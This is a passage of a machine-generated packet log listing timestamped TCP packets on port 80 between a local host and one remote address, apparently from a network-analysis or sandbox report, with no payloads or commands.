Dec 19, 2024 14:10:49.093427896 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.093511105 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.093548059 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.094820976 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.094865084 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.094907045 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.096210957 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.096322060 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.096401930 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.097630978 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.097656012 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.097706079 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.099028111 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.099143982 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.099195957 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.100414991 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.100518942 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.100568056 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.101809978 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.101917982 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.101958036 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.103303909 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.103327990 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.103375912 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.104604006 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.104885101 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.104933023 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.106076002 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.106093884 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.106152058 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.107671976 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.107727051 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.107770920 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.109019995 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.109035015 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.109076977 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.110246897 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.110337973 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.110383987 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.111628056 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.111644030 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.111682892 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.113006115 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.113195896 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.113250971 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.114531040 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.114660978 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.114705086 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.115823984 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.115926027 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.115967035 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.117233992 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.117331982 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.117368937 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.118693113 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.118777037 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.118818045 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.120035887 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.120140076 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.120177984 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.121572971 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.121737957 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.121783972 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.122837067 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.122944117 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.122983932 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.124228954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.124365091 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.124411106 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.125638008 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.125751019 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.125792980 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.127026081 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.127115965 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.127155066 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.128453970 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.128578901 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.128623009 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.129859924 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.167433977 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.167490959 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.167535067 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.168143988 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.168198109 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.168251038 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.169205904 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.169255972 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.169372082 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.170665979 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.170720100 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.170743942 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.172029018 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.172080040 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.172168016 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.173404932 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.173454046 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.173532009 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.174810886 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.174866915 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.174921989 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.176218987 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.176273108 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.176315069 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.177597046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.177649975 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.177808046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.179023981 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.179073095 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.179146051 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.180433035 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.180484056 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.180510044 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.181862116 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.181914091 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.181915045 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.183223963 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.183275938 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.183322906 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.184612036 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.184668064 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.263863087 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.263998032 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.264061928 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.264378071 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.264507055 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.264554977 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.265525103 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.265656948 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.265702009 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.266688108 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.266819954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.266863108 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.267813921 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.267896891 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.267941952 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.269064903 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.269243002 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.269284964 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.270098925 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.270180941 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.270217896 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.271188021 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.271290064 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.271326065 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.272370100 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.272495031 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.272542000 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.273570061 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.273670912 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.273716927 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.274595976 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.274833918 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.274882078 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.275743961 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.275909901 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.275954962 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.277060986 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.277201891 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.277250051 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.277971983 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.278064966 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.278104067 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.279242992 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.279259920 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.279366970 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.280359983 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.280600071 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.280654907 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.281514883 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.281615019 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.281665087 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.282591105 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.282727957 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.282774925 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.283701897 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.283778906 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.283819914 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.284815073 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.284907103 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.284951925 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.285957098 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.286170959 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.286216974 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.287074089 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.287139893 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.287192106 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.288393974 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.288486004 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.288530111 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.289361954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.289433956 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.289477110 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.290505886 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.290596962 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.290642977 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.291589975 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.291734934 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.291773081 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.292732000 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.292825937 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.292865038 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.293976068 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.294101954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.294147015 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.294996977 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.295056105 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.295152903 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.296179056 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.296466112 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.296521902 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.297277927 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.297369957 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.297408104 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.298399925 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.298463106 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.298508883 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.299719095 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.299828053 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.299869061 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.300887108 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.301009893 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.301048994 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.302145958 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.302160978 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.302202940 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.303123951 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.303206921 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.303241968 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.304256916 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.304299116 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.304337978 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.305197001 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.305308104 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.305349112 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.306386948 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.346415043 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.355675936 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.355727911 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.355777979 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.355920076 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.356040001 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.356084108 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.357076883 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.357146025 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.357186079 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.359813929 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.359884024 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.359934092 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.360424995 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.360579014 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.360625029 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.361597061 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.361836910 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.361887932 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.362745047 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.362873077 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.362915039 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.363784075 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.363948107 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.363989115 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.364979029 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.365051031 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.365094900 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.366028070 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.366142035 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.366185904 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.367161989 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.367223024 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.367265940 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.368380070 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.368486881 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.368525028 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.369518995 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.369653940 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.369694948 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.370687008 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.370793104 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.370832920 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.371717930 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.371839046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.371876955 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.372931957 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.373059034 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.373100996 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.374206066 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.424541950 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.456044912 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.456176996 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.456243992 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.456556082 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.456655979 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.457266092 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.457849026 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.457927942 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.457977057 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.459119081 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.459187031 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.459441900 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.460254908 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.460270882 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.460613966 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.461402893 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.461607933 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.461656094 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.462399960 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.462547064 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.462599039 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.463465929 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.463649988 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.463689089 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.464469910 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.464696884 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.464895964 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.465989113 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.466157913 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.466250896 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.466958046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.467077971 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.467278957 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.468096018 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.468121052 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.468182087 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.468992949 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.469103098 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.469152927 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.469940901 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.470086098 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.470144987 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.470910072 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.471050978 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.471198082 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.472079992 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.472193956 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.472407103 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.473236084 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.473381996 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.474394083 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.474426985 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.474483967 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.475440979 CET	80	49856	176.53.146.212	192.168.2.4
